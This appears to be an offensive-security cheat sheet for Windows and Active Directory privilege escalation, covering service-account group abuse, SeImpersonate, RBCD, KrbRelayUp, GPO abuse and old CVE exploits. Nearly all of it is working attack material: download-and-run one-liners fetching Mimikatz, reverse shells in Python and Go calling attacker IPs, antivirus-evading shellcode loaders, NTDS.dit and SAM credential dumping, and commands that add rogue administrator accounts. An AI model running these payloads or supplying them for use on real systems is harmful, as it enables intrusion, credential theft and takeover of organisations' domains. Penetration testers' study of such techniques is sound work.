$web="https://dl.offensive.run";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64")
# ONLINE TEST for VirtualAlloc method (educational purpose only)
$web="https://dl.offensive.run";IEX(New-Object Net.WebClient).downloadString("$web/startmimi64va")

Groupsļƒ

Interesting groups to look for :
AD Recycle Bin
Backup Operators
DnsAdmins
Exchange Windows Permissions
Hyper-V Administrators

# Organization Management
Print Operators
Remote Desktop Users
Remote Management Users
Server Operators

Server Operatorsļƒ

You can edit services
# Let's modify the VSS service (Volume Shadow Copy)
sc.exe qc "vss"
sc.exe config vss binPath="C:\r\r32.exe"
sc.exe qc "vss"

# Retrieve your payload (you need to detach before the service fail to start, or just pick a payload that add a new admin)
mkdir c:\r
wget http://10.10.14.139/r32.exe -O c:\r\r32.exe

# Restart VSS service
sc.exe stop vss
sc.exe start vss

# Cleanup
sc.exe config vss binPath="C:\Windows\system32\vssvc.exe"

Backup Operatorsļƒ

You can backup files, including Hives and NTDS.dit,
If you want other files then you can use robocopy
mkdir c:\r
robocopy /b C:\Users\Administrator\Desktop\ C:\r\

Dumping Hives
mkdir c:\r
reg save hklm\sam c:\r\SAM
reg save hklm\system c:\r\SYSTEM

Dumping NTDS.dit with wbadmin
First you need a SAMBA share (or a real windows share, but donā€™t use impacket smbserver)
net use X: \\ATTACKERIP\PWN
wbadmin start backup -backuptarget:\\ATTACKERIP\PWN -include:c:\windows\ntds
We can now open the vhdx file on linux using qemu
sudo apt install qemu-utils nbd-client
sudo apt install nbd-client # install nbd client
sudo rmmod nbd;sudo modprobe nbd max_part=16  # load the nbd kernel module (it's normal to get errors on rmmod)
sudo qemu-nbd -c /dev/nbd0 "/tmp/PWN/WindowsImageBackup/DC01/Backup 2024-07-24 233333/6cd5140b-0000-0000-0000-602200000000.vhdx" # mount block device
sudo partprobe /dev/nbd0 # reload partition table
mkdir /tmp/vhdx
sudo mount -o ro,nouser /dev/nbd0p2 "/tmp/vhdx" # mount partition

# ls -ltrh /tmp/vhdx/Windows/NTDS/ntds.dit
# -rwxrwxrwx 1 root root 18M juil. 25  2024 /tmp/vhdx/Windows/NTDS/ntds.dit
# secretsdump.py -sam /tmp/SAM -system /tmp/SYSTEM local -ntds /tmp/vhdx/Windows/NTDS/ntds.dit -history

Privilegesļƒ

SeImpersonateļƒ

SeImpersonatePrivilege privilege is enabled on services account like iis or mssql
whoami /all
[...]
Privilege Name                Description                               State
============================= ========================================= ========
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
[...]
SweetPotato leverage SeImpersonate Privilege to run arbitrary commands as SYSTEM using DCOM, WinRM, EfsRpc, or PrintSpoofer method.

Letā€™s abuse SeImpersonatePrivilege privilege with SweetPotato.exe as shellcode
(Require to serve embeddable python as python.zip, loadsc from AV Bypass section, and to install donut-shellcode with pip)
You need to retrieve or compile SweetPotato.exe
sudo wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/SweetPotato.exe -O /var/www/html/SweetPotato.exe
# Params
IP="192.168.1.163"
PORT=53
WRITABLEPATH="C:\\Users\\user.DOMAIN\\Documents" # (Writable by current user to download python)
INPUT_FILE='/var/www/html/SweetPotato.exe'

PARAMS="import urllib.request as r;exec(bytes.fromhex(r.urlopen('http://$IP/payload').read()[::-1].decode('utf-8')));"
PARAMS="-e EfsRpc -p \"$WRITABLEPATH\python\python.exe\" -a "'"-c \"'"$PARAMS"'\""'
# Python reverse shell payload
cat <<EOF|sudo tee /var/www/html/payload
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa="""
import time,socket,os,threading,subprocess as sp; flags = 0x08000000  # CREATE_NO_WINDOW
p=sp.Popen(['powershell.exe'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT, close_fds=False, creationflags=flags, universal_newlines=True, shell=False);s=socket.socket()
for retry in range(12):
    try: s.connect(('$IP',$PORT));break
    except Error as e: time.sleep(5)
NL=os.linesep.encode();os.write(p.stdin.fileno(),b"\$OutputEncoding = [console]::InputEncoding = [console]::OutputEncoding = New-Object System.Text.UTF8Encoding ;cd /users;powershell;exit; "+NL)
time.sleep(1);os.read(p.stdout.fileno(),1024);os.write(p.stdin.fileno(),NL+b"ls"+NL)
threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o);time.sleep(0.01)',globals()),daemon=True).start();
threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i);time.sleep(0.01)',globals()),daemon=True).start();
while p.poll() is None: time.sleep(1)
s.send(b"Quitting..."+NL);s.shutdown()
"""
import subprocess as sp,sys
flags = 0
flags |= 0x00000008  # DETACHED_PROCESS
flags |= 0x00000200  # CREATE_NEW_PROCESS_GROUP
p = sp.Popen([sys.executable, '-c', aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa], close_fds=True, creationflags=flags)
EOF

# Encode python payload
cat /var/www/html/payload| xxd -plain | tr -d '\n' | rev | sudo tee /var/www/html/payloadtmp >/dev/null
sudo mv /var/www/html/payloadtmp /var/www/html/payload

# Generating SweetPotato shellcode with donut
python3 -c "import donut; donut.create(file='$INPUT_FILE',output='/tmp/sc',params=bytes.fromhex('$(echo -n "$PARAMS" | xxd -plain | tr -d '\n')').decode('utf-8'))"
cat "/tmp/sc" | xxd -plain | tr -d '\n' | rev | gzip | sudo tee "/var/www/html/sc" >/dev/null

# Powershell script to call
cat <<EOF|sudo tee /var/www/html/start
\$Exists = Test-Path "$WRITABLEPATH\python\";If (\$Exists -eq \$False) {(New-Object Net.WebClient).DownloadFile("http://$IP/python.zip","$WRITABLEPATH\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$WRITABLEPATH\python.zip", "$WRITABLEPATH\python\")}
\$arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('http://$IP/loadsc').read()[::-1].decode('utf-8')));load('http://$IP/sc')""")
Start-Process -NoNewWindow -FilePath "$WRITABLEPATH\python\python.exe" -ArgumentList \$arguments
EOF

# Wait for connection
sudo tail -n 0 -f /var/log/nginx/*.log &
sudo nc -nvlp $PORT -s $IP

IEX(New-Object Net.WebClient).downloadString("http://192.168.1.163/start")

SeImpersonate OLDļƒ

Abusing SeImpersonate on old systems
sudo -i
wget https://github.com/Re4son/Churrasco/raw/master/churrasco.exe -O /var/www/html/churrasco.exe
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.139 LPORT=53 EXITFUNC=thread -f exe -a x86 --platform windows -o /var/www/html/shell_reverse_tcp.exe
smbserver.py -ip 10.10.14.139 -port 445 PWN /var/www/html/ &
nc -nvlp 53 -s 10.10.14.139
\\10.10.14.139\PWN\churrasco.exe -d "c:\windows\system32\cmd.exe /C \\10.10.14.139\PWN\shell_reverse_tcp.exe"

ACLs (AD)ļƒ

GenericAll-Userļƒ

If you have GenericAll access on any user you can reset the password
net user robert FNUEOFNSIDsilfelifsef_1 /domain

RBCD LPE/RCE (AD)ļƒ

RBCD attack rely on 4 domains accounts:
- Compromised account (ex: low privilege user, relayed computer/user)
- Compromised service account (ex: a new fake computer)
- Targeted service account (ex: targeted machine)
- Impersonated user account (ex: domain/Administrator)

RBCD steps:
- 1: Use ā€œCompromised accountā€ to create a new computer account in domain, that will be our ā€œCompromised service accountā€ (Optional if you already control a service account)
- 2: Use ā€œCompromised accountā€ write access to declare that ā€œCompromised service accountā€ can act on behalf of other identity for ā€œTargeted serviceā€
- 3: Use ā€œCompromised service accountā€ to ask for TGT, impersonating ā€œImpersonated userā€ on ā€œTargeted serviceā€ (S4U2Self + S4U2Proxy)
- 4: Use TGT on ā€œTargeted serviceā€

RBCD requirements:
- Compromised account have GenericWrite/GenericAll/WriteDacl/WriteOwner/Owns/WriteAccountRestrictions/AllowedToAct rights on targeted service account (ex: user that have GenericWrite access on targeted machine)
- If relaying step 1 & 2, LDAP signing must NOT be enforced (default setting).
- If you donā€™t already have compromised a service account you can create a new fake computer account, but MAQ domain attribute (ā€œMS-DS-Machine-Account-Quotaā€) must be >0 (default setting is 10)
- Impersonated user must NOT be part of ā€œprotected usersā€ group (except Administrator rid500 which isnā€™t affected)
- Impersonated user must NOT have the NOT_DELEGATED flag (ā€œAccount is sensitive and cannot be delegatedā€ option)

crackmapexec ldap <dcip> -u user -p pass -M ldap-checker # Check if LDAP signing is enforced (if relaying)
crackmapexec ldap <dcip> -d domain -u user -p pass -M maq # Machine Account Quota

# Detect RBCD paths with Bloodhound
MATCH q=(u)-[:GenericWrite|GenericAll|WriteDacl|WriteOwner|Owns|WriteAccountRestrictions|AllowedToAct]->(:Computer) WHERE NOT u.objectid ENDS WITH "-512" AND NOT u.objectid ENDS WITH "-519" AND NOT u.objectid ENDS WITH "-544" AND NOT u.objectid ENDS WITH "-548" RETURN q

Here iā€™m using RBCD as LPE, iā€™m using chisel proxy to bypass FW on local target that doesnā€™t allow external connections, but you can use this as RCE as well.
You can skip this part if you donā€™t want proxy. Iā€™m bypassing AV with python and a script named ā€œloadscā€
# Run chisel server
docker run --name chisel --rm -d -p0.0.0.0:443:80 jpillora/chisel server --socks5 --reverse -v --auth bla:bla --port 80

# Prepare CHISEL shellcode
IP="192.168.1.163"
PORT="443"
SOCKS="5000"
PARAMS="client -v --auth bla:bla ${IP}:${PORT} R:0.0.0.0:${SOCKS}:socks"
python3 -c "import donut; donut.create(file='/var/www/html/chisel.exe',output='/tmp/chiselsc',params=bytes.fromhex('$(echo "$PARAMS" | tr -d '\n' | xxd -plain | tr -d '\n')').decode('utf-8'))"
cat /tmp/chiselsc | xxd -plain | tr -d '\n' | rev | gzip | sudo tee /var/www/html/chiselsc >/dev/null
echo -e '[ProxyList]\nsocks5 172.17.0.2 5000'>/tmp/TARGET1

# Powershell script to call
echo "\$ip=\"$IP\"" | sudo tee /var/www/html/startchisel
cat <<'EOF'|sudo tee -a /var/www/html/startchisel
$loadsc="http://$ip/loadsc"; $sc="http://$ip/chiselsc"
$python="http://$ip/python.zip"; $dir="$env:TEMP";$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")}
$arguments = @("-c","""import urllib.request as r;exec(bytes.fromhex(r.urlopen('$loadsc').read()[::-1].decode('utf-8')));load('$sc')""")
Start-Process -NoNewWindow -FilePath "$dir\python\python.exe" -ArgumentList $arguments
EOF

# IEX(New-Object Net.WebClient).downloadString('http://192.168.1.163/startchisel')

Settings vars
UNPRIVILEGED_USER="user" # (Domain user)
UNPRIVILEGED_USER_PASS="Testtesttest1!"

IMPERSONATED_USER="administrator" # Impersonated domain user
TARGET_MACHINE="DESKTOP-6495N20" # The machine you want access on
TARGET_MACHINE_IP="127.0.0.1" # If the proxy is on the targeted machine leave it to default "127.0.0.1"

DOMAIN="domain.local"
DC_NAME="WIN-SPQIBGNU0G1"
DC_IP="172.16.130.153"

PROXY='proxychains -q -f /tmp/TARGET1'

NEW_MACHINE_NAME='FIOEJIOFJIFEIE' # 15 characters MAX
NEW_MACHINE_PASS='a1_FMEROGKIOJCVIODVHDSHFIOEJFI'

Exploit
# Move to a new dir
cd $(mktemp -d)

# Read the attributes of targeted machine (INFO)
$PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -dc-ip "$DC_IP" -action 'read' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"

# Add a new computer to domain
$PROXY addcomputer.py -computer-name "$NEW_MACHINE_NAME\$" -computer-pass "$NEW_MACHINE_PASS" -dc-ip "$DC_IP" -dc-host "$DC_NAME.$DOMAIN" "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"

# Update msDS-AllowedToActOnBehalfOfOtherIdentity attribute of targeted machine
$PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -delegate-from "$NEW_MACHINE_NAME\$" -dc-ip "$DC_IP" -action 'write' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"

# Retrieve TGT for targeted machine with impersonated user, using the new computer account. (S4U2Self + S4U2Proxy)
$PROXY getST.py -spn "CIFS/$TARGET_MACHINE.$DOMAIN" -impersonate "$IMPERSONATED_USER" -dc-ip "$DC_IP" "$DOMAIN"/"$NEW_MACHINE_NAME\$":"$NEW_MACHINE_PASS"

# Read TGT
mv *.ccache "$IMPERSONATED_USER.ccache"
export KRB5CCNAME="$(pwd)/$IMPERSONATED_USER.ccache"
klist "$KRB5CCNAME"

Use TGT
# Use Kerberos ticket
$PROXY secretsdump.py -k "$TARGET_MACHINE.$DOMAIN" -target-ip "$TARGET_MACHINE_IP" -history
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" 'powershell.exe "whoami /all"'
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" 'whoami /all' -shell-type powershell # Not the best for AV bypass
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "net localgroup Administrators /add $DOMAIN\\$UNPRIVILEGED_USER" # EN
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "net localgroup Administrateurs /add $DOMAIN\\$UNPRIVILEGED_USER" # FR

# Reverse Shell
IP="192.168.1.163"
PORT=53

echo "\$ip=\"$IP\"; \$port=$PORT;" | sudo tee /var/www/html/rs
cat <<'EOF'| sudo tee -a /var/www/html/rs
$process="powershell.exe"; $python="http://$ip/python.zip"; $dir="$env:TEMP";$Exists = Test-Path "$dir\python\";If ($Exists -eq $False) {(New-Object Net.WebClient).DownloadFile($python ,"$dir\python.zip");Add-Type -assembly "system.io.compression.filesystem";[io.compression.zipfile]::ExtractToDirectory("$dir\python.zip", "$dir\python\")};
$arguments=@("-c","""import time,socket,os,threading,subprocess as sp;p=sp.Popen(['$process'],stdin=sp.PIPE,stdout=sp.PIPE,stderr=sp.STDOUT);s=socket.socket();s.connect(('$ip',$port));threading.Thread(target=exec,args=('while(True):o=os.read(p.stdout.fileno(),1024);s.send(o);time.sleep(0.01)',globals()),daemon=True).start();threading.Thread(target=exec,args=('while(True):i=s.recv(1024);os.write(p.stdin.fileno(),i);time.sleep(0.01)',globals())).start()""");
Start-Process -NoNewWindow -FilePath "$dir\python\python.exe" -ArgumentList $arguments;
EOF

# Wait for connection
tail -n 0 -f /var/log/nginx/*.log &
sudo nc -nvlp $PORT -s $IP

CMD="IEX(New-Object Net.WebClient).downloadString('http://$IP/rs');"
$PROXY wmiexec.py -k "$TARGET_MACHINE.$DOMAIN" "powershell \"$CMD\"" -nooutput -silentcommand

CLEANUP (..you probably wonā€™t have the rights to delete the computer)
$PROXY rbcd.py -delegate-to "$TARGET_MACHINE\$" -delegate-from "$NEW_MACHINE_NAME\$" -dc-ip "$DC_IP" -action 'flush' "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS"
$PROXY addcomputer.py -computer-name "$NEW_MACHINE_NAME\$" -computer-pass "$NEW_MACHINE_PASS" -dc-ip "$DC_IP" -dc-host "$DC_NAME.$DOMAIN" "$DOMAIN"/"$UNPRIVILEGED_USER":"$UNPRIVILEGED_USER_PASS" -delete

KrbRelayUp Tool (AD)ļƒ

KrbRelayUp.exe is a collection of tools that aim to leverage security issues in Windows Active Directory configuration/infrastructure to perform LPE.
KrbRelayUp have 3 differents methods/path to perform LPE: SHADOWCRED, ADCS and RBCD.
SHADOWCRED and ADCS are based on ADCS presence, but we are using RBCD here.

Requirements for this attack:
Unprivileged user must have a Write access on machine
LDAP signing must NOT be enforced (default setting).
ā€œMS-DS-Machine-Account-Quotaā€ domain attribute must be >0 (default setting is 10)
Impersonated user must NOT be part of ā€œprotected usersā€ group
Impersonated user must NOT have the NOT_DELEGATED flag

Ensure LDAP signing is not enforced on client side (0:disabled, 1:optionnal, 2:enforced)
Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Services\ldap' | Select-Object -ExpandProperty LdapClientIntegrity

Letā€™s get started by serving KrbRelayUp.exe
sudo wget https://github.com/Flangvik/SharpCollection/raw/master/NetFramework_4.7_Any/KrbRelayUp.exe -O /var/www/html/KrbRelayUp.exe
Then, run the relay phase
(New-Object System.Net.WebClient).DownloadFile('http://1.2.3.4/KrbRelayUp.exe', "$home\Documents\KrbRelayUp.exe")
&$home\Documents\KrbRelayUp.exe relay -cls '000C101C-0000-0000-C000-000000000046' -p 8889 -v -d domain.com -CreateNewComputerAccount -cn evilfakehost -cp BeepBoop_7 -dc DC01 2>&1
Sometime you need to pick another CLSID or run GetCLSID.ps1 on target to retrieve all available CLSID (some on them donā€™t work)
WinServer2022: ā€œ000C101C-0000-0000-C000-000000000046ā€ (MSIServer)
this CLSID is also present in W7,8,10*,2008,2012,2016
Once relay phase is completed, we can proceed with the spawn phase.
For this step iā€™m using a powershell payload to add a new administrator, and iā€™m wrapping it into a golang executable
cat <<'EOF'>/tmp/payload.ps1
net user hackerbeepboop Blabliblou_1 /ADD ; net localgroup Administrators hackerbeepboop /ADD ; net localgroup "Remote Desktop Users" hackerbeepboop /ADD
EOF
cat <<EOF>/tmp/beepboop.go
package main
import ("os/exec";"fmt";"log")
func main() {
    cmd := exec.Command("powershell.exe","-NoProfile","-NonInteractive","-EncodedCommand","$(cat /tmp/payload.ps1 | iconv -f UTF8 -t UTF16LE | base64 -w0)")
    out, err := cmd.Output()
    if err != nil {log.Fatal(err)} else {fmt.Printf("%s",out)}
}
EOF
env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags "-s -w" -o /tmp/beepboop.exe /tmp/beepboop.go
chmod 644 /tmp/beepboop.exe && sudo mv /tmp/beepboop.exe /var/www/html/
Next, call KrbRelayUp.exe to perform the spawn step
(New-Object System.Net.WebClient).DownloadFile('http://1.2.3.4/beepboop.exe', "$home\Documents\beepboop.exe")
&$home\Documents\KrbRelayUp.exe spawn -d domain.com -cn evilfakehost$ -cp BeepBoop_7 -dc DC01 -sc "$home\Documents\beepboop.exe" 2>&1

Abusing GPOs (AD)ļƒ

Using powershell to create a new computer immediate task into existing GPO ā€œDefault Domain Controllers Policyā€
# Parameters
$GUID = '{6AC1786C-016F-11D2-945F-00C04fB984F9}' # Default Domain Controllers Policy
$TaskCommand = 'CMD.EXE'
$TaskArguments = '/C mkdir c:\GPO_ABUSE_PROOF'
$TaskUser = 'NT AUTHORITY\System'
$TaskAuthor = 'Hacker'
$TaskName = 'Hacker'
$TaskRunLevel = 'HighestAvailable'

# Using the Primary Domain Controller SYSVOL
$domainObj = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$GPOpath = "\\" + $domainObj.PdcRoleOwner.Name + "\SysVol\" + $domainObj.Name + "\Policies\$GUID"
$ScheduledTasksFolder = "$GPOpath\Machine\Preferences\ScheduledTasks\"
$ScheduledTasksFile = "$ScheduledTasksFolder\ScheduledTasks.xml"
$GPTini = "$GPOpath\GPT.INI"

# Ensure the scheduled tasks folder is created
New-Item -ItemType Directory -Path $ScheduledTasksFolder -Force

# New task as XML
$TaskXml = @"
<?xml version="1.0" encoding="utf-8"?><ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}"><ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="$TaskName" image="0" changed="2024-06-15 22:01:10" uid="$((New-Guid).Guid)"><Properties action="C" name="$TaskName" runAs="$TaskUser" logonType="S4U"><Task version="1.3"><RegistrationInfo><Author>$TaskAuthor</Author><Description></Description></RegistrationInfo><Principals><Principal id="Author"><UserId>$TaskUser</UserId><LogonType>S4U</LogonType><RunLevel>$TaskRunLevel</RunLevel></Principal></Principals><Settings><IdleSettings><Duration>PT10M</Duration><WaitTimeout>PT1H</WaitTimeout><StopOnIdleEnd>true</StopOnIdleEnd><RestartOnIdle>false</RestartOnIdle></IdleSettings><MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries><StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><AllowHardTerminate>true</AllowHardTerminate><StartWhenAvailable>true</StartWhenAvailable><RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable><AllowStartOnDemand>true</AllowStartOnDemand><Enabled>true</Enabled><Hidden>false</Hidden><RunOnlyIfIdle>false</RunOnlyIfIdle><WakeToRun>false</WakeToRun><ExecutionTimeLimit>P3D</ExecutionTimeLimit><Priority>7</Priority><DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter></Settings><Triggers><TimeTrigger><StartBoundary>%LocalTimeXmlEx%</StartBoundary><EndBoundary>%LocalTimeXmlEx%</EndBoundary><Enabled>true</Enabled></TimeTrigger></Triggers><Actions Context="Author"><Exec><Command>$TaskCommand</Command><Arguments>$TaskArguments</Arguments></Exec></Actions></Task></Properties></ImmediateTaskV2></ScheduledTasks>
"@

# Write task XML to file on DC SysVol
[System.IO.File]::WriteAllText($ScheduledTasksFile, $TaskXml)

# Increment GPO version number (Optional if using gpupdate)
$GPO = [ADSI]("LDAP://" + $domainObj.PdcRoleOwner.Name + "/CN=$GUID,CN=Policies,CN=System,$(([adsi]'').distinguishedName)")
$GPOversion = $GPO.psbase.Properties["versionNumber"].Value
$GPO.psbase.Properties["versionNumber"].Value++
$GPO.SetInfo()

# Increment GPT.INI version number (Optional if using gpupdate)
$GPTiniContent = (Get-Content $GPTini)
$GPTiniRegex = [RegEx]::Matches($GPTiniContent,"Version=(\d+)")
$GPTiniVersion = [int]$GPTiniRegex.Groups[1].Value
$GPTiniContent -replace "Version=$GPTiniVersion", "Version=$($GPOversion+1)" | Set-Content $GPTini

# Refresh GPO on current machine (and loading your payload)
gpupdate /Target:Computer /force

CVE LPEļƒ


# List OS, KB
systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

# Checking env
# syswow64 lets you run 32 bit system executables from 64 bit code. sysnative lets you run 64 bit system executables from 32 bit code.
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "ls env:"
powershell.exe -c "ls env:"

# List .Net framework
dir /A:D c:\Windows\Microsoft.NET\Framework

MS16032ļƒ

CVE-2016-0099
Targets : Win7-Win10 & 2k8-2k12 <== 32/64 bit!
Requirements: 2+ CPU
sudo wget https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/privesc/Invoke-MS16032.ps1 -O /var/www/html/ms16032.ps1
# Check number of processors
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "ls env:"

# Exploit and run whoami to a file
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.121/ms16032.ps1'); Invoke-MS16032 -Command 'CMD.EXE /C whoami.exe > C:\ms16032'"
type C:\ms16032

# Exploit and run powershell encoded command
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.121/ms16032.ps1'); Invoke-MS16032 -Command 'CMD.EXE /C powershell -e BEEPBOOP=='"

CVE-2018-8120ļƒ

sudo wget https://github.com/rip1s/CVE-2018-8120/raw/master/Release/CVE-2018-8120.exe -O /var/www/html/CVE20188120x32.exe
sudo wget https://github.com/rip1s/CVE-2018-8120/raw/master/x64/Release/CVE-2018-8120.exe -O /var/www/html/CVE20188120x64.exe
CMD.EXE /C "mkdir c:\r & cd c:\r & certutil.exe -urlcache -split -f http://10.10.14.121/CVE20188120x32.exe CVE20188120x32.exe & start /b c:\r\CVE20188120x32.exe whoami"

PrintNightmareļƒ

CVE-2021-1675
KB : KB5004945 06 July 2021
Print Nightmare (didnā€™t try)
sudo wget https://raw.githubusercontent.com/calebstewart/CVE-2021-1675/main/CVE-2021-1675.ps1 -O /var/www/html/CVE20211675.ps1
C:\Windows\Sysnative\WindowsPowerShell\v1.0\powershell.exe -c "IEX(New-Object Net.Webclient).downloadString('http://10.10.14.121/CVE20211675.ps1'); Invoke-Nightmare -DriverName 'BEEPBOOP' -NewUser 'hacker' -NewPassword 'Hackerbeepboop_1'"

Or with the cube0x0 exploit :
We make use of a golang dll payload
cat <<'EOF'| tee /tmp/reverse.go
package main

import (
    "bufio"
    "net"
    "os/exec"
    "strings"
)

// DLL
func init() {
    main()
}

func main() {
    conn, _ := net.Dial("tcp", "192.168.45.178:4445")
    for {
    f, _ := bufio.NewReader(conn).ReadString('\n')
    g := strings.TrimSuffix(f, "\n")
    h, i, _ := strings.Cut(g, "~")
    cmd := exec.Command(h, i)
    cmd.Stdin, cmd.Stdout, cmd.Stderr = conn, conn, conn
    cmd.Run()
    }
}
EOF
env GOOS=windows GOARCH=amd64 CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -ldflags="-s -w" -buildmode=c-shared -o /tmp/reverse.dll /tmp/reverse.go
sudo wget https://dl.offensive.run/SharpPrintNightmare.exe -O /var/www/html/SharpPrintNightmare.exe
sudo cp /tmp/reverse.dll /var/www/html/
nc -nvlp 4445
cd C:\users\any\
wget http://192.168.45.111/SharpPrintNightmare.exe -O SharpPrintNightmare.exe
wget http://192.168.45.111/reverse.dll -O reverse.dll
.\SharpPrintNightmare.exe C:\users\any\reverse.dll

HiveNightmareļƒ

CVE-2021-36934